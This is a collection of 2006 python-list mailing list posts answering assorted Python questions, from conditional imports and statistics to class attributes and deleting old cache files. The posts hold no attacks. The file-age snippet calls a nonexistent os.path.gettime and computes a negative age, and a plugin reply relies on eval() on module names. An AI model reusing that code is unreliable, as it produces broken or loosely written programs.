From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Wed, 4 Oct 2006 08:00:54 +0200
Subject: How to get keyboard event in Linux console?
References: <1159934069.847446.97150@i3g2000cwc.googlegroups.com>
Message-ID: <slrnei6jgm.5uu.sybrenUSE@schuimige.stuvel.eu>

Jia,Lu enlightened us with:
> I want to deal keyboard event in Linux console.
> Example: I Create a deamon at background and when I press F1 key
> then print Hello at Console.

Type "who" and see which PTY you're connected to:

sybren   pts/0        2006-10-04 07:55 (klappie.stuvel.eu)

So I'm connected to pts/0. If you read from /dev/pts/0, you'll see
everything I type.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From bill.pursell at gmail.com  Sun Oct 15 01:46:43 2006
From: bill.pursell at gmail.com (Bill Pursell)
Date: 14 Oct 2006 22:46:43 -0700
Subject: Starting out.
In-Reply-To: <12ivbmoav9liff8@corp.supernews.com>
References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com>
	<1160715256.698199.64540@h48g2000cwc.googlegroups.com>
	<1160749619.514641.11870@k70g2000cwa.googlegroups.com>
	<1160752561.4515.1.camel@dsktp>
	<12ivbmoav9liff8@corp.supernews.com>
Message-ID: <1160891203.880019.243460@i3g2000cwc.googlegroups.com>

Grant Edwards wrote:
>
> Perl has syntax?


ROTFLMAO.  In fact, that even motivated:

Psychotically Engineered Random Language.

--
Bill Pursell



From steve at holdenweb.com  Sat Oct 28 08:07:39 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 28 Oct 2006 13:07:39 +0100
Subject: Import if condition is correct
In-Reply-To: <1162035371.172600.293680@h48g2000cwc.googlegroups.com>
References: <1162031606.988480.131330@k70g2000cwa.googlegroups.com>	<ehvbso$1k3$1@news.albasani.net>	<1162032099.393489.321290@e3g2000cwe.googlegroups.com>	<mailman.1401.1162033936.11739.python-list@python.org>
	<1162035371.172600.293680@h48g2000cwc.googlegroups.com>
Message-ID: <ehvh46$clg$1@sea.gmane.org>

MindClass wrote:
> Steve Holden wrote:
> 
>>I'm guessing that you think this might be necessary to avoid importing
>>the same module multiple times: it's not. Python only runs the module's
>>code the first time the module is imported into a program. A further
>>import statement effectively does noting, because the interpreter sees
>>(from an entry in the sys.modules dictionary) that the module is already
>>present.
>>
> 
> The problem is that I've to import different libraries according to the
> ORM (SQLObject, SQLAlchemy, etc)
> 
So why the need for global variables?

if MySQL_wanted:
     import MySQLdb as db
elif sqlite_wanted:
     import pysqlite as db
else:
     import psycopg2 as db

conn = db.connect(...)
...

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From agriff at tin.it  Mon Oct 23 02:43:40 2006
From: agriff at tin.it (Andrea Griffini)
Date: Mon, 23 Oct 2006 08:43:40 +0200
Subject: Arrays? (Or lists if you prefer)
In-Reply-To: <%jV_g.7670$5i7.2617@newsreading01.news.tds.net>
References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com>
	<%jV_g.7670$5i7.2617@newsreading01.news.tds.net>
Message-ID: <453c63ea$0$4578$4fafbaef@reader2.news.tin.it>

Neil Cerutti wrote:

>     >>> b =[range(2), range(2)]

I often happened to use

       b = [[0] * N for i in xrange(N)]

an approach that can also scale up in dimensions;
for example for a cubic NxNxN matrix:

       b = [[[0] * N for i in xrange(N)]
            for j in xrange(N)]

Andrea


From gigs at hi.t-com.hr  Thu Oct 19 05:50:21 2006
From: gigs at hi.t-com.hr (Gigs_)
Date: Thu, 19 Oct 2006 11:50:21 +0200
Subject: characters in python
In-Reply-To: <eh5p68$qcl$1@ss408.t-com.hr>
References: <eh5p68$qcl$1@ss408.t-com.hr>
Message-ID: <eh7hod$mgl$1@ss408.t-com.hr>

I solve it. Just have to do another encoding:
http://www.python.org/dev/peps/pep-0263/


From martin at v.loewis.de  Wed Oct  4 15:40:09 2006
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 21:40:09 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <fxJUg.134222$zy5.1829414@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<7xk63h232z.fsf@ruckus.brouhaha.com><eftfoe$l8n$1@sea.gmane.org><mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
Message-ID: <45240E19.3040000@v.loewis.de>

Giovanni Bajo schrieb:
>>> I hope this
>>> recommendation from the "PSF infrastructure committee" is rejected.
>> That is very very unlikely. Who would reject it, and why?
> 
> The community, and I am impressed you do not want to understand the "why".

How would "the community" actually reject it? By not using it? Well,
that won't happen: They use the current SF tracker, despite it being
non-free software.

> It is an extremely bad picture for an open source flag like Python to go to a
> vendor for such an easy requirement as a bug database. 

You fail to recognize that Python is *already* using a non-free software
for bug tracking, as do thousands of other projects. So from that point
of view, the status wouldn't change.

Regards,
Martin


From python.list at tim.thechases.com  Mon Oct 23 18:15:01 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Mon, 23 Oct 2006 17:15:01 -0500
Subject: mean ans std dev of an array?
In-Reply-To: <1161640155.326890.288440@i42g2000cwa.googlegroups.com>
References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com>
Message-ID: <453D3EE5.8040009@tim.thechases.com>

> import array
> a = array.array('f', [1,2,3])
> print a.mean()
> print a.std_dev()
> 
> Is there a way to calculate the mean and standard deviation on array
> data?
> 
> Do I need to import it into a Numeric Array to do this?

No, you don't have to...though there are likely some stats 
modules floating around.  However, they're pretty simple to 
implement:

 >>> import array
 >>> import math
 >>> a = array.array('f', [1,2,3])
 >>> mean = lambda a: sum(a)/len(a)
 >>> mean(a)
2.0
 >>> a
array('f', [1.0, 2.0, 3.0])
 >>> def stdev(a):
...     m = mean(a)
...     return math.sqrt(sum((x-m) ** 2 for x in a) / len(a))
...
 >>> stdev(a)
0.81649658092772603


Pretty much a no-brainer implementation of the algorithm 
described at http://en.wikipedia.org/wiki/Standard_deviation

-tkc





From fredrik at pythonware.com  Fri Oct  6 02:36:07 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 08:36:07 +0200
Subject: help on pickle tool
In-Reply-To: <463ff4860610052326s735fbeb7m2d4584b7ee1c569e@mail.gmail.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>	<mailman.1407.1160113095.10491.python-list@python.org>	<1160114085.944898.224340@k70g2000cwa.googlegroups.com>	<mailman.1408.1160114785.10491.python-list@python.org>	<1160115558.554509.292870@c28g2000cwb.googlegroups.com>
	<463ff4860610052326s735fbeb7m2d4584b7ee1c569e@mail.gmail.com>
Message-ID: <eg4tgm$vk4$1@sea.gmane.org>

hanumizzle wrote:

> I guess I'll keep an open mind. But I like editing YAML for the same
> reason that I like editing Python.

JSON is almost identical to Python's expression syntax, of course, while 
YAML isn't even close.

</F>



From spe.stani.be at gmail.com  Thu Oct 19 20:34:49 2006
From: spe.stani.be at gmail.com (SPE - Stani's Python Editor)
Date: 19 Oct 2006 17:34:49 -0700
Subject: SPE for 2.5?
References: <NJQXg.106$1n3.2880@news.tufts.edu>
	<1160950716.385705.161880@b28g2000cwb.googlegroups.com>
	<1160951306.307324.293710@h48g2000cwc.googlegroups.com>
Message-ID: <1161304489.359981.246070@e3g2000cwe.googlegroups.com>

Hi Fuzzy,

I think you refer to pyxides (http://pyxides.stani.be). Pyxides turned
out to be more like an exchange between different IDE developpers,
rather than a common project. There are a lot of reasons for that:
different GUI toolkits, geographical distances rendering physical
sprints almost impossible (although necessary for such task), no
financial resources, nobody with the time or ambition to lead such a
project, ... So no immediate result for the end users, although for the
developers there was some limited exchange. In a world with furious
discussions about KDE or Gnome, Windows, Linux or Mac, deb or rpm, vim
or emacs, not to mention Tkinkter, pyGTK, wxPython, pyKDE, pyCocoa, ...
this might not come as a surprise. Appearantly, despite the fact that
python IDE's are only a relative very small segment, did not matter so
much. It seems also that programmers are addicted to threads about the
best IDE. Maybe we as developers should not take that joy away, but
provide some healthy competition instead. I guess collaboration is only
possible within one gui toolkit (this is not meant technically of
course), as gui toolkits are not so much about technique but more about
philosophy.

That said, a new version of SPE 0.8.3.a is going to be released soon.
Yes, open source projects do hibernate, which by some people is wrongly
perceived as ..., but anyway SPE is alive and will always be unless I
say differently.

Best whishes,

Stani
--
http://pythonide.stani.be
--
PS I am still looking for people using with python 2.3 and (maybe in
case John won't) 2.5 to create installers for windows. (I know I can do
through vmware, but I prefer otherwise.)

PS2 This was not written with FireFox2, so please forgive any spelling
mistakes ;-)


Fuzzyman schreef:

> SPE - Stani's Python Editor wrote:
> > John Salerno schreef:
> >
> > > Does anyone know if SPE is compatible with Python 2.5? I don't see a
> > > Windows exe file for 2.5, so I wasn't sure if I should use the 2.4 version.
> > >
> > > Thanks.
> >
> > It should be. Contact me and I'll help you to make a 2.5 installer,
> > which I'll gladly provide for download. I use SPE on daily basis
> > myself.
>
> Hello Stani,
>
> Work on it does seem to have slowed down.
>
> When do you expect your new project to start bearing fruit ?
> 
> Fuzzyman
> http://www.voidspace.org.uk
> 
> 
> > 
> > Stani



From no-spam at no-spam-no-spam.com  Fri Oct 27 10:02:16 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Fri, 27 Oct 2006 16:02:16 +0200
Subject: conditional computation
In-Reply-To: <4541f4d7$0$7249$426a74cc@news.free.fr>
References: <ehr2bu$24l9$1@ulysses.news.tiscali.de>
	<mailman.1292.1161892930.11739.python-list@python.org>
	<ehr562$251c$1@ulysses.news.tiscali.de>
	<4541369b$0$2875$426a74cc@news.free.fr>
	<ehsmrt$2b8i$1@ulysses.news.tiscali.de>
	<4541f4d7$0$7249$426a74cc@news.free.fr>
Message-ID: <eht3h9$2den$1@ulysses.news.tiscali.de>

Bruno Desthuilliers wrote:
> robert wrote:
>> Bruno Desthuilliers wrote:
>>> robert a ?crit :
>>> (snip)
>>>> class MemoCache(dict): # cache expensive Objects during a session
>>>> (memory only)
>>>>    def memo(self, k, f):
>>>>        try: return self[k]
>>>>        except KeyError:            #<--------- was error           
>>>>             return self.setdefault(k, f())
>>>> cache=MemoCache()
>>>> ...
>>>>
>>>> o = cache.memo( complex-key-expr, lambda: expensive-calc-expr )
>>>>
>>> And how do you get back the cached value without rewriting both
>>> complex-key-expr *and* expensive-calc-expr ? Or did I missed the point ?
>> the complex-key-expr is written only once in the code
> 
> How do you get something back from the cache then ?
> 
>> expensive-calc-expr is  written only once in code 
> 
> Same problem here...  I fail to understand how you intend to use this
> "cache".

the first time, "self.setdefault(k, f())" executes the lambda ("f()"), stores it to the cache dict and the value is returned.

then on cache hit the stored value is just returned from the cache dict "try: return self[k]" and the lambda is not executed again.

note: the lambda expression expensive-calc-expr is just compiled but not executed as long as it is not called ( "f()" )

-robert


From cameron.walsh at gmail.com  Thu Oct  5 23:11:09 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Fri, 06 Oct 2006 11:11:09 +0800
Subject: user modules
In-Reply-To: <1160076227.300513.183740@c28g2000cwb.googlegroups.com>
References: <eg29os$6b4$1@enyo.uwa.edu.au>
	<1160067331.530002.178270@h48g2000cwc.googlegroups.com>
	<1160076227.300513.183740@c28g2000cwb.googlegroups.com>
Message-ID: <eg4he6$dah$1@enyo.uwa.edu.au>

Juho Schultz wrote:
> Juho Schultz wrote:
>> Cameron Walsh wrote:
>>> Hi,
>>>
>>> I'm writing a python program to analyse and export volumetric data.  To
>>> make development and extension easier, and to make it more useful to the
>>> public when it is released (LGPL), I would like to enable users to place
>>> their own python files in a "user_extensions" directory.  These files
>>> would implement a common interface in order for the main program to be
>>> able to read them and execute the necessary code.
>>>
>>> My question is what is the best way of implementing this?
>>>
>>> I have investigated importing them as modules, but unless the user
>>> modifies the main program I cannot see how the main program can learn of
>>> the existence of specific modules.
>>>
>> One simple solution would be a shell script that adds user_extensions
>> (or whatever) to $PYTHONPATH and then starts your main program.
> 
> Sorry... I was typing faster than reading or thinking.
> 
> You could have a __init__.py file within user_extensions with
> __all__ = ["package1", "package2"]
> 
> If you want every python file within some directory in here, you can
> auto-generate the __init__.py file in user_extension before importing.
> (Or you could have some sort of tester for new .py files detected and
> only after you are sure it works, add it.)
> 
> from user_extensions import *
> 
> would import everything mentioned in __all__. You also have access to
> their names through
> user_extensions.__all__
> 
> The last step would be to put the modules into a list. After the
> import,
> 
> user_ext_list = [eval(elem) for elem in user_extensions.__all__ ]
> for ext in user_ext_list:
>     ext.initialize()
>     ext.get_tab_window()
> 

Thanks Juho,

Your solution also worked a charm.  I like the suggestion of a tester 
before adding a module to the __all__ list.

Thanks for teaching me about the eval() function, I've been wondering 
how to turn a string into a python command.


From orangestripe at gmail.com  Thu Oct 19 19:29:05 2006
From: orangestripe at gmail.com (gel)
Date: 19 Oct 2006 16:29:05 -0700
Subject: I would like write some data recovery software
References: <1161141519.989567.195330@i42g2000cwa.googlegroups.com>
	<eh4ip1$t53$1@upsn250.cri.u-psud.fr>
Message-ID: <1161300545.779504.101800@f16g2000cwb.googlegroups.com>

Laurent Pointal wrote:
> gel a ?crit :
> > I would like to write some data recovery software as a learning thing.
> > The sort of thing that you would use to recover data from a currupt HDD
> > or floppy etc.  I would like to be pointed in the right direction as
> > far as modules to use and suggested approaches.
> >
>
> Once you get a way to access the bytes to recover... the Hachoir library
> can be interresting as a model to map structures on these data.
>
> 	http://hachoir.org/
> 
> 
> A+
> 
> Laurent.


Cheers, I am having a bit of look at it now



From blair.houghton at gmail.com  Sun Oct  1 13:32:14 2006
From: blair.houghton at gmail.com (Blair P. Houghton)
Date: 1 Oct 2006 10:32:14 -0700
Subject: How can I correct an error in an old post?
In-Reply-To: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
Message-ID: <1159723934.216904.125370@k70g2000cwa.googlegroups.com>


barakad at gmail.com wrote:
> Hi.
> I was searching for some information regarding a problem and found an
> interesting post that includes an answer to the problem; thought the
> post is very helpful it is based on a wrong assumption and thus the
> solution it suggests is incorrect. It took me some time to understand
> that the suggested solution is wrong and to find the correct solution
> and I wish to add my findings to the post, to prevent others from
> taking the wrong path.
> When I tried to replay to the post I received a reject message stating
> that it is impossible to replay to the topic since it is old and was
> closed by a manager.
> The question is how can I add this correction?
> Thanks.

Start a new thread and include the old post with your
corrections.

Yes, this means the erroneous post is still out there, and
does not link directly to yours, but that's the fault of people
who "close" threads, for they are among the stupidest
people on the net.

But if, as you did, someone else searches for the information,
the old post will come up in the search results, and yours will
too, because it contains the old post.  So anyone who bothers
to look at both will figure out what happened.

--Blair



From fredrik at pythonware.com  Mon Oct 30 01:40:32 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 07:40:32 +0100
Subject: How to access file last modified dates on each file in a directory
In-Reply-To: <1162177219.649954.318150@h48g2000cwc.googlegroups.com>
References: <1162177219.649954.318150@h48g2000cwc.googlegroups.com>
Message-ID: <ei46p0$rvb$1@sea.gmane.org>

RAMohrmann at adelphia.net wrote:

> I am attempting to view all files in a directory and if those files
> have not been modified within the last couple days I will remove them.
> In order to do this I need to look at the file date modied and check
> the date. I know how to look at each file name and I know how to remove
> the file. I just can't figure out how to get access to the date last
> modifed filed. Below is how I intend to access the file names in the
> directory.
> 
>>>> import os,time,sys
>>>> cachedirectory="c:\\informatica\\cache\\"
>>>> v_filename_array=os.listdir(cachedirectory)

since listdir only returns the last part of the full file path, it's 
often easier to use glob.

     for file in glob.glob("c:/informatics/cache/*"):
         ...

otherwise, you need to do os.path.join(cachedirectory, file) for each 
file in the filename list, to get a full path.

to get the age of a file, use os.path.getmtime(filename).  this returns 
the modification time as seconds since a reference time (usually called 
the "epoch".  if you subtract this time from the current time, you get 
the age (in seconds):

     import glob, os, time

     now = time.time()

     for file in glob.glob("c:/informatics/cache/*"):
         age = os.path.gettime(file) - now
         print file, "is", age / 3600, "hours old"

adding code to remove old files should be straightforward.

</F>



From sferriol at imag.fr  Mon Oct 23 06:04:33 2006
From: sferriol at imag.fr (Sylvain Ferriol)
Date: Mon, 23 Oct 2006 12:04:33 +0200
Subject: is it a bug ?
In-Reply-To: <ehi0tm$p9f$03$1@news.t-online.com>
References: <ehhvqa$48r$1@trompette.imag.fr>
	<ehi0tm$p9f$03$1@news.t-online.com>
Message-ID: <ehi488$90g$1@trompette.imag.fr>

Peter Otten a ?crit :
> Sylvain Ferriol wrote:
> 
> 
>>can you explain to me what happened:
>>
>>class toto(object):
>>   eq = float.__eq__
>>
>>t = toto()
>>
>>getattr(t,'eq')
>>TypeError: descriptor '__eq__' for 'float' objects doesn't apply to
>>'toto' object
> 
> 
> float.__eq__ is probably implemented in C and its operation will make sense
> only for instances of float or subclasses of float. Try
> 
> 
>>>>class Toto(float):
> 
> ....     eq = float.__eq__
> ....
> 
>>>>Toto().eq(42)
> 
> False
> 
i can not use it because:
class toto(float):
   def __init__(self,a=None):pass

t=toto(a=3)
TypeError: 'a' is an invalid keyword argument for this function
> Peter


From bdesth.quelquechose at free.quelquepart.fr  Sat Oct 21 17:42:51 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Sat, 21 Oct 2006 23:42:51 +0200
Subject: silent processing with python+modpython+cheetah
In-Reply-To: <mailman.907.1161451522.11739.python-list@python.org>
References: <mailman.907.1161451522.11739.python-list@python.org>
Message-ID: <453a9002$0$18675$426a74cc@news.free.fr>

Sai Krishna M a ?crit :
> Hi,
> 
> I have been working for some time developing web pages using python,
> modpython, cheetah.
> I find that this method has come inherent difficulties in it like if
> we want to generate a single page we have to write two separate files
> ( py & tmpl).
> Is there any other better way of doing things.?

If you need to write specific python module and template for each and 
any page of your site/app, it may be time to google for "content 
management system" and "model view controller".

> Also if we want to have partial processing of the pages, i.e, the
> value one chooses for a particular field determines the value to be
> entered for another field in the same page, how can it be done?

Stop thinking in terms of "page", and you'll be on the way. Or switch to 
Pylons:
http://www.pylonshq.com


From aleax at mac.com  Sun Oct  1 00:40:01 2006
From: aleax at mac.com (Alex Martelli)
Date: Sat, 30 Sep 2006 21:40:01 -0700
Subject: does anybody earn a living programming in python?
References: <1159225798.492198.89880@b28g2000cwb.googlegroups.com>
	<efdftc$9tl$1@wake.carmen.se>
Message-ID: <1hmhych.1jaomee1msbzi8N%aleax@mac.com>

Magnus Lycka <lycka at carmen.se> wrote:
   ...
> stuff in the world, so my standard extrapolation technique would yield
> 30000 python programmers globally.

I think this estimate is low, based on three piece of data I know (but,
sorry, are all confidential;-) and thus one I can infer:
-- I know how many copies of "Python in a Nutshell" Google buys;
-- I know how many Python programmers work at Google;
-- I know how many copies the Nutshell sells worldwide;

Assuming the willingness to buy "Python in a Nutshell" is constant
across the population of Python programmers (and I don't believe my
working there influences anything -- Google had the Nutshell in the
standard set of books engineers use, well before I got hired there), I
can project a worldwide number of Python programmers that's several
times higher than that.

Or perhaps not, depending on the definition of "Python programmer".
Most of Google's software developers who know Python also know one or
more (generally several) of C, C++, Java, SQL, HTML, Javascript, &c,
though they may or may not use any one or more of them often on the job;
many Googlers who program only in Python do not _just_ program -- they
are also working on other jobs besides software development (hardware
design, testing, management, administrative assistance, system
administration, network operations, whatever...).  Hey, by a
sufficiently strict definition _I_ don't count as a "Python programmer",
since I also do substantial amounts of management, not to mention a
little bit of C++, some C, SQL, HTML, and so forth...;-)


Alex


From peter.maas at somewhere.com  Tue Oct 10 15:33:18 2006
From: peter.maas at somewhere.com (Peter Maas)
Date: Tue, 10 Oct 2006 21:33:18 +0200
Subject: Python component model
In-Reply-To: <4p1nggFgnl6uU1@uni-berlin.de>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<7xlknotwuy.fsf@ruckus.brouhaha.com> <4p14h4Fgk9jaU1@uni-berlin.de>
	<ONMWg.12226$UG4.2497@newsread2.news.pas.earthlink.net>
	<4p1nggFgnl6uU1@uni-berlin.de>
Message-ID: <eggsid$ejk$1@online.de>

Diez B. Roggisch wrote:
> The amazing flexibility stems from the fact that it is _runtime_. This is
> _exactly_ the difference between static and dynamic typing.

Not _exactly_. You can have static typing in an interpreted language (Java)
and dynamic typing in a machine language (Basic with variants).

-- 
Regards/Gruesse,

Peter Maas, Aachen
E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64')


From fredrik at pythonware.com  Wed Oct 25 18:43:33 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 00:43:33 +0200
Subject: Getting a lot of SPAM from this list
In-Reply-To: <435b46e50610251514i337e07bdsd42b62bf5a2e3b@mail.gmail.com>
References: <UeSdnWGhrcr6iaDYnZ2dnUVZ_s2dnZ2d@comcast.com>	<7.0.1.0.0.20061023175044.05c75ec8@yahoo.com.ar>	<17725.12208.931743.88672@montanaro.dyndns.org>	<mailman.1140.1161752151.11739.python-list@python.org>	<7xbqo10yik.fsf@ruckus.brouhaha.com>
	<435b46e50610251514i337e07bdsd42b62bf5a2e3b@mail.gmail.com>
Message-ID: <ehopak$5pk$1@sea.gmane.org>

TiNo wrote:

> How do you send and receive this email?

email?

</F>



From R.Brodie at rl.ac.uk  Fri Oct  6 06:05:44 2006
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Fri, 6 Oct 2006 11:05:44 +0100
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>
	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>
	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>
	<mailman.1388.1160089812.10491.python-list@python.org>
	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>
	<4omn7jFfe26cU1@uni-berlin.de>
Message-ID: <eg59pp$9pk$1@south.jnrs.ja.net>


"Diez B. Roggisch" <deets at nospam.web.de> wrote in message 
news:4omn7jFfe26cU1 at uni-berlin.de...

> This is on the same level of interest to the communities of python, ruby & java as the 
> color of my socks this morning - a deep black with cute little skulls imprinted.

I did find Andy's claim that he expected contributors to sing a
copyright transfer agreement somewhat unreasonable. It would
depend on the tune though, I guess. 




From deets at nospam.web.de  Fri Oct 20 04:45:10 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 20 Oct 2006 10:45:10 +0200
Subject: Can I use decorators to manipulate return type or create methods?
In-Reply-To: <1161313194.211420.236840@b28g2000cwb.googlegroups.com>
References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com>
	<4ppla2Fit83qU1@uni-berlin.de>
	<1161298362.722062.265520@i3g2000cwc.googlegroups.com>
	<1161313194.211420.236840@b28g2000cwb.googlegroups.com>
Message-ID: <4prgkiFjj80iU1@uni-berlin.de>

WakeBdr schrieb:
> Diez,
> I get what that accomplishes now, but I'm having problems in my
> implementation.  I was able to write a standalone class that worked
> correctly.  However, in my code the class that I need to exhibit this
> functionality inherits from another class.  This seems to cause
> problems when I attempt to implement you solution.

You need to give a __metaclass__ to one of them, and I think they must 
be new-style-classes.


Diez


From tpochep at mail.ru  Thu Oct 12 05:39:45 2006
From: tpochep at mail.ru (tpochep at mail.ru)
Date: 12 Oct 2006 02:39:45 -0700
Subject: python's newbie question
In-Reply-To: <mailman.366.1160645762.11739.python-list@python.org>
References: <1160644525.605518.55840@e3g2000cwe.googlegroups.com>
	<mailman.366.1160645762.11739.python-list@python.org>
Message-ID: <1160645985.548440.252930@c28g2000cwb.googlegroups.com>


js  ?????(?):

> http://mail.python.org/pipermail/python-list/2004-May/221591.html
> 
> HTH

Thank you!!!



From daigno at gmail.com  Mon Oct 23 17:24:28 2006
From: daigno at gmail.com (=?ISO-8859-1?Q?=C9ric_Daigneault?=)
Date: Mon, 23 Oct 2006 17:24:28 -0400
Subject: python class instantiation
In-Reply-To: <ehjal8$veu$1@sea.gmane.org>
References: <453D2C61.7000800@useReplyTo.hotmail.com>
	<ehjal8$veu$1@sea.gmane.org>
Message-ID: <453D330B.6080008@gmail.com>

Fredrik Lundh wrote:
> ?ric Daigneault lists wrote:
>
>   
>> When creating a class with data members but no __init__ method.  Python 
>> deals differently with data members that are muatable and immutables.
>>     
>
> no, it doesn't.  it's your code that deals with them in different ways, 
> not Python.
>
>   
>> Ex:
>> class A(object):
>>     stringData = "Whatever"
>>     listData = []
>>
>> instance = A()
>>
>> Will have data members instantiated as expected (instance.stringData == 
>> "Whatever" and instance.listData == [])
>>
>> instance.listData.append("SomeString")
>>     
>
> here, you call a method on the class object.  this method modifies the 
> object.
>   
I see.. so the all the attributes I declared above are part of the 
class... not the instance, kinna like instance attributes being 
overshadowed with local method attributes...

>> instance.stringData = "Changed"
>>     
>
> here, you use assignment to *add* a new attribute to the instance.
>
> the class attribute is still there, but it's shadowed by an instance 
> attribute with the same name.
>
> </F>
>   
yep... got it...

guess the Java-C++ views on things kinna creapt on me there...

Thanks for clearing that up :-)

It is humbling to see how simple yet powerfull python`s view on things 
is....

?ric





From Roka100 at gmail.com  Tue Oct 10 01:34:18 2006
From: Roka100 at gmail.com (Jia,Lu)
Date: 9 Oct 2006 22:34:18 -0700
Subject: [curses] Instead of window.refresh() or window.redrawwin() ?
Message-ID: <1160458457.997725.54080@c28g2000cwb.googlegroups.com>

Hi all.
 I wrote a program to get key press and echo to the screen at once. But
I found I must use refresh() to let it show in the screen.
 Is there a method which can show charactors at once without refresh()
??

 Thanks



From fredrik at pythonware.com  Sat Oct 21 05:20:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 21 Oct 2006 11:20:10 +0200
Subject: Python Source
In-Reply-To: <873b9ixcok.fsf@benfinney.id.au>
References: <1161418145.383719.324390@i3g2000cwc.googlegroups.com>
	<873b9ixcok.fsf@benfinney.id.au>
Message-ID: <ehcoo5$7pk$1@sea.gmane.org>

Ben Finney wrote:

> I don't understand the request.

one wonders if someone who's not even capable of finding the code
is capable of "hacking" it, in any sense of that word.

</F>



From matthew_j_warren at hotmail.com  Thu Oct 19 10:42:09 2006
From: matthew_j_warren at hotmail.com (MatthewWarren)
Date: 19 Oct 2006 07:42:09 -0700
Subject: wxPython help wxSashWindow
In-Reply-To: <30MZg.115$1n3.3329@news.tufts.edu>
References: <1161266243.991025.174530@m7g2000cwm.googlegroups.com>
	<30MZg.115$1n3.3329@news.tufts.edu>
Message-ID: <1161268929.535719.288640@m73g2000cwd.googlegroups.com>


John Salerno wrote:
> MatthewWarren wrote:
>
> > I'm just starting out with wxPython
>
> Hi there. Sorry I can't help you because SashWindow isn't something I've
> worked with yet, but I just wanted to let you know that there is also a
> dedicated wxPython newsgroup (not that the people here aren't geniuses!) :)
>
> gmane.comp.python.wxpython (newsgroup)
> wxPython-users at lists.wxwidgets.org (mailing list)
>
> It's a great resource.

Thanks, is that a newsgroup I can view through google groups? I tried
seraching for it but google says no..

And I'll give that list a subscribe.

I have found a wxPython google group, but only 11 members and a
handfull of posts in a year...



From MonkeeSage at gmail.com  Fri Oct  6 13:28:49 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 6 Oct 2006 10:28:49 -0700
Subject: Subclassing built-in classes
In-Reply-To: <mailman.1441.1160128706.10491.python-list@python.org>
References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com>
	<200610051700.00482.maric@aristote.info>
	<eg3iid$ada$1@sea.gmane.org>
	<mailman.1441.1160128706.10491.python-list@python.org>
Message-ID: <1160155728.913921.107140@b28g2000cwb.googlegroups.com>



On Oct 6, 4:58 am, Maric Michaud <m... at aristote.info> wrote:
> As the first post said "...couldn't python (in theory)...", I was discussing
> if it would be possible for python (in some future version) to manage the
> literals so that they use the constructors in the __builtin__ module, I
> didn't say it works actually (I'm aware it's not the case).

Hi Maric,

I think the problem Steve was pointing out is this: how do you make a
literal use a constructor that is not available until *after* the
literal has been constructed? In other words, python currently does
this: 1) parses plaintext into bytecode (at which point literals are
constructed), 2) executes bytcode (at which point custom constructors
are available). The only way I can see to do what I asked is to, during
bytecode compilation, mark a literal in the AST as being a literal (+1
bits, at least, on every literal until it is constructed) but not
actually constructing it until the point of execution (+? time to go
back through the object space looking for marked objects and
constructing them). I don't know enough about python internals to know
if that would be a problem, but I seriously doubt it would be
implemented without some pressing use cases. So it is possible, but
probably not plausible.

Regards,
Jordan



From fredrik at pythonware.com  Sat Oct 28 06:25:21 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Oct 2006 12:25:21 +0200
Subject: ANN: the pyfaq wiki has moved
In-Reply-To: <aQt0h.181$1n3.4336@news.tufts.edu>
References: <mailman.1349.1161953388.11739.python-list@python.org>	<uXr0h.175$1n3.4318@news.tufts.edu>	<mailman.1370.1161977101.11739.python-list@python.org>
	<aQt0h.181$1n3.4336@news.tufts.edu>
Message-ID: <ehvb6h$u86$1@sea.gmane.org>

John Salerno wrote:

> Ok. I was trying the "edit" link instead.

ah, of course.  I've moved the admin links a bit, to make the difference 
more obvious.

thanks /F



From jjl at pobox.com  Mon Oct  9 17:01:58 2006
From: jjl at pobox.com (John J. Lee)
Date: Mon, 09 Oct 2006 21:01:58 GMT
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com> <877izb1vwe.fsf@pobox.com>
	<mailman.38.1160270091.11739.python-list@python.org>
